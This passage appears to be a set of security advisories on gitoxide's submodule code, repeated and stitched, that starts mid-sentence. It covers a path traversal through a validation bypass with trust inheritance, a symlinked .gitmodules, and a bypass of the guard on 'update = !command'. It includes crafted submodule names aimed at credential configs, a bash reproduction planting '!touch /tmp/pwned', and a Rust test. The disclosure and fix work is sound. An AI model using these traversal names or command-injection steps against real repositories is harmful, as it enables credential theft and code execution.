    self.state.repo.common_dir().join("modules").join(gix_path::from_bstr(self.name()))
}

Bug 3: Trust inheritance bypass in Submodule::open()

At gix/src/submodule/mod.rs:270, open() clones the parent repository's options:

match crate::open_opts(self.git_dir_try_old_form()?, self.state.repo.options.clone()) {

The parent's options.git_dir_trust is Some(Trust::Full). At gix/src/open/repository.rs:103-104:

if options.git_dir_trust.is_none() {
    options.git_dir_trust = gix_sec::Trust::from_path_ownership(&git_dir)?.into();
}

Since trust is already Some(Full), the ownership check is skipped entirely. The traversed path is opened with Trust::Full regardless of ownership, bypassing gitoxide's safe-directory protections.

PoC

Compiled and executed in Rust 1.94.1 --release mode. All bypass cases confirmed:

BYPASS a..b/../../../.git/           -> PASSED validation
       git_dir = .git/modules/a..b/../../../.git/
       normalized = .git/              (parent repo!)

BYPASS x..y/../../../.git/config     -> PASSED validation
       git_dir = .git/modules/x..y/../../../.git/config
       normalized = .git/config

Attack chain

1. Attacker crafts a repository with .gitmodules:

   [submodule "x..y/../../.."]
       path = innocent
       url = https://attacker.com/repo.git
   

2. Victim clones the repository using a tool built on gitoxide.

3. When the tool iterates submodules and calls submodule.open() or submodule.status():

   • git_dir() returns .git/modules/x..y/../../.. which resolves to the parent .git/
   • open_opts() is called with Trust::Full (inherited from parent, ownership check skipped)
   • The parent's .git/config is fully parsed

4. The returned Repository object exposes all config values from the traversed path:

   • remote.origin.url (may contain https://user:token@github.com/...)
   • http.extraHeader (often Authorization: Bearer <token>)
   • credential.* sections
   • core.sshCommand

5. Accessible via standard API: repo.config_snapshot().string("http.extraHeader"), repo.find_remote("origin"), etc.

Impact

A crafted .gitmodules in a malicious repository causes gitoxide to open arbitrary git directories as submodule repositories with full trust, exposing their configuration including credentials. This is the same class of vulnerability as GHSA-7w47-3wg8-547c (path traversal), but through the submodule name vector with an additional trust bypass.

The trust inheritance is the critical amplifier: without it, the traversed path would undergo ownership checks that could block the attack. With it, any git directory reachable via ../ is opened with full trust.

Honest limitations

• The traversed path must be a valid git directory (HEAD, objects/, refs/ must exist)
• The victim's tool must call open() or status() on submodules (tools that only list submodules are not affected)
• Credential exposure requires the target config to contain embedded credentials
• Submodule operations currently require explicit user action

Suggested fix

1. Fix the validation to check ALL .. occurrences (iterate, not single find)
2. Call gix_validate::submodule::name() in git_dir() before constructing the path
3. Do NOT inherit git_dir_trust from parent when opening submodule repos -- always re-derive trust from path ownership

Severity

High. Network vector (via clone), requires user interaction (submodule operations). The trust bypass enables credential disclosure from traversed git directories. Confidentiality impact is high.

Summary

attachments: pocs.zip

Submodule names coming from .gitmodules are exposed as unvalidated names and are later reused to derive the submodule git directory as:

<superproject common_dir>/modules/<submodule name>

Because the submodule name is joined directly as a filesystem path component, a name such as ../../../escaped-target.git escapes .git/modules after normalization. The current implementation then uses that escaped path in both state() and open().

The updated PoC demonstrates the real sink, not just string construction:

• state() reports repository_exists=true for the traversed path;
• open() returns a repository whose normalized common_dir() matches the attacker-chosen repository outside .git/modules.

Root cause analysis

The relevant flow is:

1. gix-submodule/src/access.rs exposes unvalidated submodule names from configuration.
2. gix/src/submodule/mod.rs derives the git directory by doing common_dir().join("modules").join(name) with no confinement check.
3. gix/src/submodule/mod.rs uses that derived path during state resolution and repository opening.

There is no normalization-and-confinement step between “submodule name from configuration” and “filesystem path used for repository existence checks / open.” As a result, traversal segments in the submodule name directly influence which repository path is inspected and opened.

Reproduce steps

Use the attached PoC zip that contains the pocs/ workspace.

1. Unzip the PoC archive.

2. Enter pocs/F002.

3. Run:

   cargo run --quiet
   

4. Compare the output with pocs/F002/result.txt.

Key outputs are:

• submodule_name=../../../escaped-target.git
• derived_git_dir_raw=.../.git/modules/../../../escaped-target.git
• derived_git_dir_normalized=.../artifacts/escaped-target.git
• escaped_target=.../artifacts/escaped-target.git
• repository_exists=true
• submodule_opened=true
• opened_common_dir_normalized=.../artifacts/escaped-target.git
• normalized_git_dir_matches_target=true
• opened_common_dir_matches_target=true
• target_outside_modules_root=true

These outputs show that gitoxide is not only constructing a traversable path string. It is actually using the escaped path for repository existence checks and for opening a repository object.

Impact

Confirmed impact:

• a malicious submodule name can redirect submodule state inspection away from .git/modules/<name> to an attacker-chosen repository path outside .git/modules;
• Submodule::state() can report repository existence for the wrong repository;
• Submodule::open() can return a repository object backed by that attacker-chosen path.

This is best described as a path-traversal / repository-confusion issue in submodule repository resolution.

This report does not claim command execution from this behavior alone. The demonstrated impact is repository redirection: callers that enumerate, inspect, or operate on submodules can be steered into using the wrong repository.

Recommended fix

Two complementary fixes are advisable:

1. do not reuse raw submodule names as filesystem path fragments;
   • either use a validated/sanitized name for filesystem derivation,
   • or derive the storage path from a safe identifier instead of the user-controlled name;
2. add an explicit confinement check after path derivation;
   • normalize or canonicalize the candidate path,
   • verify that the result stays under <common_dir>/modules,
   • reject names that contain traversal segments, path separators, or any representation that can escape the modules root.

In short, submodule names may remain opaque configuration identifiers, but they should not be treated as trusted filesystem subpaths.

Summary

attachments: pocs.zip

When Repository::submodules() loads submodule metadata, it prefers the worktree .gitmodules file if that path exists. In the current implementation, the path is read with std::fs::read(), which follows symlinks. As a result, a repository can present a symlinked .gitmodules that points outside the repository, and gitoxide will parse the out-of-repository bytes as submodule configuration.

This is a repository-boundary violation. A caller using the high-level submodule API can believe it is reading repository-local submodule metadata, while the bytes are actually coming from an arbitrary file outside the repository tree.

Root cause analysis

The relevant flow is:

1. gix/src/repository/location.rs derives the worktree .gitmodules path as workdir/.gitmodules.
2. gix/src/repository/submodule.rs reads that path with std::fs::read(&path) and immediately parses the bytes as a submodule configuration file.
3. Repository::submodules() exposes the parsed entries through the high-level API.

The issue is not in the parser. The issue is that the worktree path is treated as an ordinary file without checking whether it is a symlink, and without checking whether the canonicalized target remains inside the repository worktree.

Because std::fs::read() follows symlinks, a malicious repository can cause gitoxide to ingest bytes from an attacker-chosen location outside the repository. The resulting Submodule objects then expose name, path, and url values derived from that external file.

Reproduction steps

Use the attached PoC zip that contains the pocs/ workspace.

1. Unzip the PoC archive.

2. Enter pocs/F001.

3. Run:

   cargo run --quiet
   

4. Compare the output with pocs/F001/result.txt.

Important outputs include:

• gitmodules_symlink=.../victim-repo/.gitmodules
• symlink_target=.../outside/modules.conf
• parsed_name=symlinked
• parsed_path=deps/symlinked
• parsed_url=https://attacker.example/symlinked.git

These outputs show that gitoxide parsed the submodule configuration from the symlink target outside the repository, not from repository-local bytes.

Impact

Confirmed impact:

• out-of-repository bytes can be injected into the result of Repository::submodules();
• callers can be misled about submodule metadata such as name, path, and url;
• any downstream workflow that uses those values to decide clone, fetch, update, or policy behavior is operating on attacker-controlled data that did not actually originate from the repository tree.

This report does not claim direct command execution from this code path by itself. The demonstrated impact is metadata injection across the repository boundary.

Recommended fix

A safe fix is to stop silently following symlinks for the worktree .gitmodules path in this loading path.

Reasonable options include:

1. use symlink_metadata() / lstatstyle checks and reject symlinked .gitmodules when loading from the worktree;
2. canonicalize the target and verify that it still resides under the repository worktree before reading it;
3. for security-sensitive callers, prefer loading .gitmodules from the index or HEAD tree rather than following the worktree path.

At minimum, the worktree path should not silently follow symlinks to arbitrary external files.

Summary

gix_submodule::File::update() is the API that gates whether an attacker-supplied .gitmodules file may set update = !<shell command>. The function is designed to return Err(CommandForbiddenInModulesConfiguration) unless the !command value came from a trusted local source (.git/config). Git CVE CVE-2019-19604 illustrates why this check is necessary.

However, the guard is implemented incorrectly: it checks whether any section with the same submodule name exists from a non-.gitmodules source; it does not verify that the update value came from that section.

Once a submodule has been initialized (any workflow that writes submodule.<name>.url to .git/config), and the attacker subsequently adds update = !cmd to .gitmodules, the guard passes while the command value falls through to the attacker-controlled file.

On an identical repository state, git submodule update aborts with fatal: invalid value for 'submodule.sub.update', while gix::Submodule::update() returns Ok(Some(Update::Command("touch /tmp/pwned"))).

The vulnerable code was introduced in https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0.

Details

The vulnerable method is gix_submodule::File::update: https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168-L193:

pub fn update(&self, name: &BStr) -> Result<Option<Update>, config::update::Error> {
    let value: Update = match self.config.string(format!("submodule.{name}.update")) {
        //                    ^^^^^^^^^^^^^^^^^^
        //  [A] Reads the value. gix_config::File::string() iterates sections
        //      newest-to-oldest; if the override section lacks `update`, it
        //      falls through to .gitmodules and returns the attacker value.
        //
        // https://github.com/GitoxideLabs/gitoxide/blob/main/gix-config/src/file/access/raw.rs#L76
        Some(v) => v.as_ref().try_into().map_err(|()| config::update::Error::Invalid {
            submodule: name.to_owned(),
            actual: v.into_owned(),
        })?,
        None => return Ok(None),
    };

    if let Update::Command(cmd) = &value {
        let ours = self.config.meta();
        let has_value_from_foreign_section = self
            .config
            .sections_by_name("submodule")
            .into_iter()
            .flatten()
            .any(|s| s.header().subsection_name() == Some(name) && !std::ptr::eq(s.meta(), ours));
            //  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
            //  [B] Checks only that SOME section with this name exists from a
            //      non-.gitmodules source. Does NOT check where [A]'s value
            //      came from.
        if !has_value_from_foreign_section {
            return Err(config::update::Error::CommandForbiddenInModulesConfiguration { ... });
        }
    }
    Ok(Some(value))
}

PoC

git submodule init copies submodule.$name.url and writes active = true into .git/config (init_submodule(), builtin/submodule--helper.c:438-517). It does not unconditionally copy update.

Since CVE-2019-19604, git rejects .gitmodules files that contain update = !cmd at parse time. However, init is a one-time operation - once the .git/config section exists, subsequent changes to .gitmodules are not re-inited.

So, the attack sequence is:

1. Attacker's repo ships a benign .gitmodules (no update key).
2. Victim clones and runs git submodule init -> .git/config contains:

   [submodule "sub"]
       active = true
       url = /tmp/sub-origin
   

3. Attacker pushes a new commit adding update = !cmd to .gitmodules.
4. Victim runs git pull -> .gitmodules now contains:

   [submodule "sub"]
       path = sub
       url = /tmp/sub-origin
       update = !touch /tmp/pwned
   

   while .git/config is unchanged.

This is the precise state that bypasses gitoxide's guard:

• The .git/config entry - even though it contains only url and active - causes append_submodule_overrides to create an override section. That section has foreign (non-.gitmodules) metadata, so the existence check at [B] returns true and the guard is disarmed.
• However, because that override section has no update key, the value lookup at [A] skips past it and falls through to the .gitmodules section, returning the attacker's !touch /tmp/pwned.

The bug is the mismatch between what [A] and [B] actually inspect: [A] asks "which section provides the update value?" (answer: .gitmodules), while [B] asks "does any trusted section exist for this submodule?" (answer: yes). A correct guard would ask the same question as [A].

Git itself would refuse to operate on this repository at the next git submodule update. The vulnerability is in gitoxide-based consumers that call Submodule::update() and trust its output.

Option 1: Unit test (verified - passes, confirming the bug)

Drop into gix-submodule/tests/file/mod.rs inside mod update:

#[test]
fn security_bypass_via_partial_override() {
    use std::str::FromStr;

    // Attacker-controlled .gitmodules
    let gitmodules =
        "[submodule.a]\n url = https://example.com/a\n update = !touch /tmp/pwned";

    // Post-`git submodule init` state: only `url` copied to .git/config
    let repo_config =
        gix_config::File::from_str("[submodule.a]\n url = https://example.com/a").unwrap();

    let module =
        gix_submodule::File::from_bytes(gitmodules.as_bytes(), None, &repo_config).unwrap();

    let result = module.update("a".into());
    // VULNERABLE: prints `Ok(Some(Command("touch /tmp/pwned")))`
    // SECURE:     should be `Err(CommandForbiddenInModulesConfiguration { .. })`
    eprintln!("{:?}", result);
}

$ cargo test -p gix-submodule security_bypass -- --nocapture
running 1 test
bypass result: Ok(Some(Command("touch /tmp/pwned")))
test file::update::security_bypass_via_partial_override ... ok

Option 2: End-to-end - git refuses, gitoxide accepts

Verified with git 2.51.2 and gix @ dd5c18d9e.

#!/bin/bash
set -e
cd /tmp
rm -rf evil-repo victim sub-origin 2>/dev/null || true

# --- Setup ---
mkdir sub-origin && cd sub-origin
git init -q && git commit -q --allow-empty -m init
cd /tmp

# --- [1] Attacker creates repo with BENIGN submodule ---
mkdir evil-repo && cd evil-repo
git init -q
git -c protocol.file.allow=always submodule add /tmp/sub-origin sub
git commit -q -m "add submodule (benign)"
cd /tmp

# --- [2] Victim clones and inits (passes git's .gitmodules validation) ---
git -c protocol.file.allow=always clone -q /tmp/evil-repo victim
cd victim
git submodule init
# .git/config now has: [submodule "sub"] active=true, url=..., NO update key
cd /tmp

# --- [3] Attacker adds malicious update to .gitmodules ---
cd evil-repo
cat >> .gitmodules <<'EOF'
	update = !touch /tmp/pwned
EOF
git commit -q -am "add malicious update"
cd /tmp

# --- [4] Victim pulls ---
cd victim
git pull -q

Final state:

--- .gitmodules:
[submodule "sub"]
        path = sub
        url = /tmp/sub-origin
        update = !touch /tmp/pwned
--- .git/config (submodule section):
[submodule "sub"]
        active = true
        url = /tmp/sub-origin

Upstream git on this state:

$ cd /tmp/victim && git submodule update
fatal: invalid value for 'submodule.sub.update'
$ echo $?
128
$ test -f /tmp/pwned && echo VULNERABLE || echo SAFE
SAFE

Gitoxide on the same state:

// /tmp/gix-repro/main.rs
let repo = gix::open("/tmp/victim")?;
for sm in repo.submodules()?.expect("submodules present") {
    println!("{}: {:?}", sm.name(), sm.update());
}

$ cargo run
sub: Ok(Some(Command("touch /tmp/pwned")))

The CommandForbiddenInModulesConfiguration guard never fires.

Impact

Direct

Any downstream code built on gix that:

1. Calls Submodule::update() to determine the update strategy, and
2. Trusts that Update::Command(_) is safe to execute (because CommandForbiddenInModulesConfiguration exists as the documented guard)

…will execute attacker-controlled shell commands on submodule update against a previously-initialized submodule.

gix itself does not currently ship a submodule update implementation, so there is no RCE in the gix CLI today. However:

• The Submodule::update() API is public at gix/src/submodule/mod.rs:108 and delegates directly to the vulnerable function.
• The error variant name (CommandForbiddenInModulesConfiguration) and test suite (valid_in_overrides at gix-submodule/tests/file/mod.rs:272) explicitly document this as the security boundary.
• Any third-party tool, IDE plugin, or CI integration building submodule-update on top of gix inherits this vulnerability.

Indirect / second-order

• CI/forge integrations that auto-init submodules and then query the update mode
• Editor/IDE extensions using gix for submodule info
• Gitoxide-based init equivalents - any tool that implements its own init (writing url to local config) creates the bypass state without needing the pull-after-init sequence

Summary

Submodule name validation bypass plus missing validation in production code paths allows path traversal via crafted .gitmodules. Combined with a trust inheritance flaw in Submodule::open(), this enables reading arbitrary git repository configs (including credentials) from traversed paths with full trust (CWE-22, CWE-200).

Details

Bug 1: Validation bypass in gix-validate/src/submodule.rs (lines 27-42)

The name() function uses name.find(b"..") which returns only the FIRST occurrence. If the first .. is embedded in a non-traversal context, the function returns Ok without checking subsequent ../ sequences:

pub fn name(name: &BStr) -> Result<&BStr, name::Error> {
    match name.find(b"..") {
        Some(pos) => {
            let &b = name.get(pos + 2).ok_or(name::Error::ParentComponent)?;
            if b == b'/' || b == b'\\' {
                Err(name::Error::ParentComponent)
            } else {
                Ok(name)  // Returns Ok without checking rest of string
            }
        }
        None => Ok(name),
    }
}

Bypass: a..b/../../../.git/ passes because find(b"..") returns position 1 (the .. in a..b), checks name[3] == b'b', and returns Ok. The real /../../../ is never checked.

Bug 2: Validation never called in production

gix_validate::submodule::name() has zero production callers (only test code). The names() iterator in gix-submodule/src/access.rs:29 explicitly documents it returns "unvalidated names."

git_dir() at gix/src/submodule/mod.rs:198-204 constructs filesystem paths from raw names:

pub fn git_dir(&self) -> PathBuf {
    self.state.repo.common_dir().join("modules").join(gix_path::from_bstr(self.name()))
}

Bug 3: Trust inheritance bypass in Submodule::open()

At gix/src/submodule/mod.rs:270, open() clones the parent repository's options:

match crate::open_opts(self.git_dir_try_old_form()?, self.state.repo.options.clone()) {

The parent's options.git_dir_trust is Some(Trust::Full). At gix/src/open/repository.rs:103-104:

if options.git_dir_trust.is_none() {
    options.git_dir_trust = gix_sec::Trust::from_path_ownership(&git_dir)?.into();
}

Since trust is already Some(Full), the ownership check is skipped entirely. The traversed path is opened with Trust::Full regardless of ownership, bypassing gitoxide's safe-directory protections.

PoC

Compiled and executed in Rust 1.94.1 --release mode. All bypass cases confirmed:

BYPASS a..b/../../../.git/           -> PASSED validation
       git_dir = .git/modules/a..b/../../../.git/
       normalized = .git/              (parent repo!)

BYPASS x..y/../../../.git/config     -> PASSED validation
       git_dir = .git/modules/x..y/../../../.git/config
       normalized = .git/config

Attack chain

1. Attacker crafts a repository with .gitmodules:

   [submodule "x..y/../../.."]
       path = innocent
       url = https://attacker.com/repo.git
   

2. Victim clones the repository using a tool built on gitoxide.

3. When the tool iterates submodules and calls submodule.open() or submodule.status():

   • git_dir() returns .git/modules/x..y/../../.. which resolves to the parent .git/
   • open_opts() is called with Trust::Full (inherited from parent, ownership check skipped)
   • The parent's .git/config is fully parsed

4. The returned Repository object exposes all config values from the traversed path:

   • remote.origin.url (may contain https://user:token@github.com/...)
   • http.extraHeader (often Authorization: Bearer <token>)
   • credential.* sections
   • core.sshCommand

5. Accessible via standard API: repo.config_snapshot().string("http.extraHeader"), repo.find_remote("origin"), etc.

Impact

A crafted .gitmodules in a malicious repository causes gitoxide to open arbitrary git directories as submodule repositories with full trust, exposing their configuration including credentials. This is the same class of vulnerability as GHSA-7w47-3wg8-547c (path traversal), but through the submodule name vector with an additional trust bypass.

The trust inheritance is the critical amplifier: without it, the traversed path would undergo ownership checks that could block the attack. With it, any git directory reachable via ../ is opened with full trust.

Honest limitations

• The traversed path must be a valid git directory (HEAD, objects/, refs/ must exist)
• The victim's tool must call open() or status() on submodules (tools that only list submodules are not affected)
• Credential exposure requires the target config to contain embedded credentials
• Submodule operations currently require explicit user action

Suggested fix

1. Fix the validation to check ALL .. occurrences (iterate, not single find)
2. Call gix_validate::submodule::name() in git_dir() before constructing the path
3. Do NOT inherit git_dir_trust from parent when opening submodule repos -- always re-derive trust from path ownership

Severity

High. Network vector (via clone), requires user interaction (submodule operations). The trust bypass enables credential disclosure from traversed git directories. Confidentiality impact is high.

Summary

attachments: pocs.zip

Submodule names coming from .gitmodules are exposed as unvalidated names and are later reused to derive the submodule git directory as:

<superproject common_dir>/modules/<submodule name>

Because the submodule name is joined directly as a filesystem path component, a name such as ../../../escaped-target.git escapes .git/modules after normalization. The current implementation then uses that escaped path in both state() and open().

The updated PoC demonstrates the real sink, not just string construction:

• state() reports repository_exists=true for the traversed path;
• open() returns a repository whose normalized common_dir() matches the attacker-chosen repository outside .git/modules.

Root cause analysis

The relevant flow is:

1. gix-submodule/src/access.rs exposes unvalidated submodule names from configuration.
2. gix/src/submodule/mod.rs derives the git directory by doing common_dir().join("modules").join(name) with no confinement check.
3. gix/src/submodule/mod.rs uses that derived path during state resolution and repository opening.

There is no normalization-and-confinement step between “submodule name from configuration” and “filesystem path used for repository existence checks / open.” As a result, traversal segments in the submodule name directly influence which repository path is inspected and opened.

Reproduce steps

Use the attached PoC zip that contains the pocs/ workspace.

1. Unzip the PoC archive.

2. Enter pocs/F002.

3. Run:

   cargo run --quiet
   

4. Compare the output with pocs/F002/result.txt.

Key outputs are:

• submodule_name=../../../escaped-target.git
• derived_git_dir_raw=.../.git/modules/../../../escaped-target.git
• derived_git_dir_normalized=.../artifacts/escaped-target.git
• escaped_target=.../artifacts/escaped-target.git
• repository_exists=true
• submodule_opened=true
• opened_common_dir_normalized=.../artifacts/escaped-target.git
• normalized_git_dir_matches_target=true
• opened_common_dir_matches_target=true
• target_outside_modules_root=true

These outputs show that gitoxide is not only constructing a traversable path string. It is actually using the escaped path for repository existence checks and for opening a repository object.

Impact

Confirmed impact:

• a malicious submodule name can redirect submodule state inspection away from .git/modules/<name> to an attacker-chosen repository path outside .git/modules;
• Submodule::state() can report repository existence for the wrong repository;
• Submodule::open() can return a repository object backed by that attacker-chosen path.

This is best described as a path-traversal / repository-confusion issue in submodule repository resolution.

This report does not claim command execution from this behavior alone. The demonstrated impact is repository redirection: callers that enumerate, inspect, or operate on submodules can be steered into using the wrong repository.

Recommended fix

Two complementary fixes are advisable:

1. do not reuse raw submodule names as filesystem path fragments;
   • either use a validated/sanitized name for filesystem derivation,
   • or derive the storage path from a safe identifier instead of the user-controlled name;
2. add an explicit confinement check after path derivation;
   • normalize or canonicalize the candidate path,
   • verify that the result stays under <common_dir>/modules,
   • reject names that contain traversal segments, path separators, or any representation that can escape the modules root.

In short, submodule names may remain opaque configuration identifiers, but they should not be treated as trusted filesystem subpaths.

Summary

attachments: pocs.zip

When Repository::submodules() loads submodule metadata, it prefers the worktree .gitmodules file if that path exists. In the current implementation, the path is read with std::fs::read(), which follows symlinks. As a result, a repository can present a symlinked .gitmodules that points outside the repository, and gitoxide will parse the out-of-repository bytes as submodule configuration.

This is a repository-boundary violation. A caller using the high-level submodule API can believe it is reading repository-local submodule metadata, while the bytes are actually coming from an arbitrary file outside the repository tree.

Root cause analysis

The relevant flow is:

1. gix/src/repository/location.rs derives the worktree .gitmodules path as workdir/.gitmodules.
2. gix/src/repository/submodule.rs reads that path with std::fs::read(&path) and immediately parses the bytes as a submodule configuration file.
3. Repository::submodules() exposes the parsed entries through the high-level API.

The issue is not in the parser. The issue is that the worktree path is treated as an ordinary file without checking whether it is a symlink, and without checking whether the canonicalized target remains inside the repository worktree.

Because std::fs::read() follows symlinks, a malicious repository can cause gitoxide to ingest bytes from an attacker-chosen location outside the repository. The resulting Submodule objects then expose name, path, and url values derived from that external file.

Reproduction steps

Use the attached PoC zip that contains the pocs/ workspace.

1. Unzip the PoC archive.

2. Enter pocs/F001.

3. Run:

   cargo run --quiet
   

4. Compare the output with pocs/F001/result.txt.

Important outputs include:

• gitmodules_symlink=.../victim-repo/.gitmodules
• symlink_target=.../outside/modules.conf
• parsed_name=symlinked
• parsed_path=deps/symlinked
• parsed_url=https://attacker.example/symlinked.git

These outputs show that gitoxide parsed the submodule configuration from the symlink target outside the repository, not from repository-local bytes.

Impact

Confirmed impact:

• out-of-repository bytes can be injected into the result of Repository::submodules();
• callers can be misled about submodule metadata such as name, path, and url;
• any downstream workflow that uses those values to decide clone, fetch, update, or policy behavior is operating on attacker-controlled data that did not actually originate from the repository tree.

This report does not claim direct command execution from this code path by itself. The demonstrated impact is metadata injection across the repository boundary.

Recommended fix

A safe fix is to stop silently following symlinks for the worktree .gitmodules path in this loading path.

Reasonable options include:

1. use symlink_metadata() / lstatstyle checks and reject symlinked .gitmodules when loading from the worktree;
2. canonicalize the target and verify that it still resides under the repository worktree before reading it;
3. for security-sensitive callers, prefer loading .gitmodules from the index or HEAD tree rather than following the worktree path.

At minimum, the worktree path should not silently follow symlinks to arbitrary external files.

Summary

gix_submodule::File::update() is the API that gates whether an attacker-supplied .gitmodules file may set update = !<shell command>. The function is designed to return Err(CommandForbiddenInModulesConfiguration) unless the !command value came from a trusted local source (.git/config). Git CVE CVE-2019-19604 illustrates why this check is necessary.

However, the guard is implemented incorrectly: it checks whether any section with the same submodule name exists from a non-.gitmodules source; it does not verify that the update value came from that section.

Once a submodule has been initialized (any workflow that writes submodule.<name>.url to .git/config), and the attacker subsequently adds update = !cmd to .gitmodules, the guard passes while the command value falls through to the attacker-controlled file.

On an identical repository state, git submodule update aborts with fatal: invalid value for 'submodule.sub.update', while gix::Submodule::update() returns Ok(Some(Update::Command("touch /tmp/pwned"))).

The vulnerable code was introduced in https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0.

Details

The vulnerable method is gix_submodule::File::update: https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168-L193:

pub fn update(&self, name: &BStr) -> Result<Option<Update>, config::update::Error> {
    let value: Update = match self.config.string(format!("submodule.{name}.update")) {
        //                    ^^^^^^^^^^^^^^^^^^
        //  [A] Reads the value. gix_config::File::string() iterates sections
        //      newest-to-oldest; if the override section lacks `update`, it
        //      falls through to .gitmodules and returns the attacker value.
        //
        // https://github.com/GitoxideLabs/gitoxide/blob/main/gix-config/src/file/access/raw.rs#L76
        Some(v) => v.as_ref().try_into().map_err(|()| config::update::Error::Invalid {
            submodule: name.to_owned(),
            actual: v.into_owned(),
        })?,
        None => return Ok(None),
    };

    if let Update::Command(cmd) = &value {
        let ours = self.config.meta();
        let has_value_from_foreign_section = self
            .config
            .sections_by_name("submodule")
            .into_iter()
            .flatten()
            .any(|s| s.header().subsection_name() == Some(name) && !std::ptr::eq(s.meta(), ours));
            //  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
            //  [B] Checks only that SOME section with this name exists from a
            //      non-.gitmodules source. Does NOT check where [A]'s value
            //      came from.
        if !has_value_from_foreign_section {
            return Err(config::update::Error::CommandForbiddenInModulesConfiguration { ... });
        }
    }
    Ok(Some(value))
}

PoC

git submodule init copies submodule.$name.url and writes active = true into .git/config (init_submodule(), builtin/submodule--helper.c:438-517). It does not unconditionally copy update.

Since CVE-2019-19604, git rejects .gitmodules files that contain update = !cmd at parse time. However, init is a one-time operation - once the .git/config section exists, subsequent changes to .gitmodules are not re-inited.

So, the attack sequence is:

1. Attacker's repo ships a benign .gitmodules (no update key).
2. Victim clones and runs git submodule init -> .git/config contains:

   [submodule "sub"]
       active = true
       url = /tmp/sub-origin
   

3. Attacker pushes a new commit adding update = !cmd to .gitmodules.
4. Victim runs git pull -> .gitmodules now contains:

   [submodule "sub"]
       path = sub
       url = /tmp/sub-origin
       update = !touch /tmp/pwned
   

   while .git/config is unchanged.

This is the precise state that bypasses gitoxide's guard:

• The .git/config entry - even though it contains only url and active - causes append_submodule_overrides to create an override section. That section has foreign (non-.gitmodules) metadata, so the existence check at [B] returns true and the guard is disarmed.
• However, because that override section has no update key, the value lookup at [A] skips past it and falls through to the .gitmodules section, returning the attacker's !touch /tmp/pwned.

The bug is the mismatch between what [A] and [B] actually inspect: [A] asks "which section provides the update value?" (answer: .gitmodules), while [B] asks "does any trusted section exist for this submodule?" (answer: yes). A correct guard would ask the same question as [A].

Git itself would refuse to operate on this repository at the next git submodule update. The vulnerability is in gitoxide-based consumers that call Submodule::update() and trust its output.

Option 1: Unit test (verified - passes, confirming the bug)

Drop into gix-submodule/tests/file/mod.rs inside mod update:

#[test]
fn security_bypass_via_partial_override() {
    use std::str::FromStr;

    // Attacker-controlled .gitmodules
    let gitmodules =
        "[submodule.a]\n url = https://example.com/a\n update = !touch /tmp/pwned";

    // Post-`git submodule init` state: only `url` copied to .git/config
    let repo_config =
        gix_config::File::from_str("[submodule.a]\n url = https://example.com/a").unwrap();

    let module =
        gix_submodule::File::from_bytes(gitmodules.as_bytes(), None, &repo_config).unwrap();

    let result = module.update("a".into());
    // VULNERABLE: prints `Ok(Some(Command("touch /tmp/pwned")))`
    // SECURE:     should be `Err(CommandForbiddenInModulesConfiguration { .. })`
    eprintln!("{:?}", result);
}

$ cargo test -p gix-submodule security_bypass -- --nocapture
running 1 test
bypass result: Ok(Some(Command("touch /tmp/pwned")))
test file::update::security_bypass_via_partial_override ... ok

Option 2: End-to-end - git refuses, gitoxide accepts

Verified with git 2.51.2 and gix @ dd5c18d9e.

#!/bin/bash
set -e
cd /tmp
rm -rf evil-repo victim sub-origin 2>/dev/null || true

# --- Setup ---
mkdir sub-origin && cd sub-origin
git init -q && git commit -q --allow-empty -m init
cd /tmp

# --- [1] Attacker creates repo with BENIGN submodule ---
mkdir evil-repo && cd evil-repo
git init -q
git -c protocol.file.allow=always submodule add /tmp/sub-origin sub
git commit -q -m "add submodule (benign)"
cd /tmp

# --- [2] Victim clones and inits (passes git's .gitmodules validation) ---
git -c protocol.file.allow=always clone -q /tmp/evil-repo victim
cd victim
git submodule init
# .git/config now has: [submodule "sub"] active=true, url=..., NO update key
cd /tmp

# --- [3] Attacker adds malicious update to .gitmodules ---
cd evil-repo
cat >> .gitmodules <<'EOF'
	update = !touch /tmp/pwned
EOF
git commit -q -am "add malicious update"
cd /tmp

# --- [4] Victim pulls ---
cd victim
git pull -q

Final state:

--- .gitmodules:
[submodule "sub"]
        path = sub
        url = /tmp/sub-origin
        update = !touch /tmp/pwned
--- .git/config (submodule section):
[submodule "sub"]
        active = true
        url = /tmp/sub-origin

Upstream git on this state:

$ cd /tmp/victim && git submodule update
fatal: invalid value for 'submodule.sub.update'
$ echo $?
128
$ test -f /tmp/pwned && echo VULNERABLE || echo SAFE
SAFE

Gitoxide on the same state:

// /tmp/gix-repro/main.rs
let repo = gix::open("/tmp/victim")?;
for sm in repo.submodules()?.expect("submodules present") {
    println!("{}: {:?}", sm.name(), sm.update());
}

$ cargo run
sub: Ok(Some(Command("touch /tmp/pwned")))

The CommandForbiddenInModulesConfiguration guard never fires.

Impact

Direct

Any downstream code built on gix that:

1. Calls Submodule::update() to determine the update strategy, and
2. Trusts that Update::Command(_) is safe to execute (because CommandForbiddenInModulesConfiguration exists as the documented guard)

…will execute attacker-controlled shell commands on submodule update against a previously-initialized submodule.

gix itself does not currently ship a submodule update implementation, so there is no RCE in the gix CLI today. However:

• The Submodule::update() API is public at gix/src/submodule/mod.rs:108 and delegates directly to the vulnerable function.
• The error variant name (CommandForbiddenInModulesConfiguration) and test suite (valid_in_overrides at gix-submodule/tests/file/mod.rs:272) explicitly document this as the security boundary.
• Any third-party tool, IDE plugin, or CI integration building submodule-update on top of gix inherits this vulnerability.

Indirect / second-order

• CI/forge integrations that auto-init submodules and then query the update mode
• Editor/IDE extensions using gix for submodule info
• Gitoxide-based init equivalents - any tool that implements its own init (writing url to local config) creates the bypass state without needing the pull-after-init sequence

Summary

Submodule name validation bypass plus missing validation in production code paths allows path traversal via crafted .gitmodules. Combined with a trust inheritance flaw in Submodule::open(), this enables reading arbitrary git repository configs (including credentials) from traversed paths with full trust (CWE-22, CWE-200).

Details

Bug 1: Validation bypass in gix-validate/src/submodule.rs (lines 27-42)

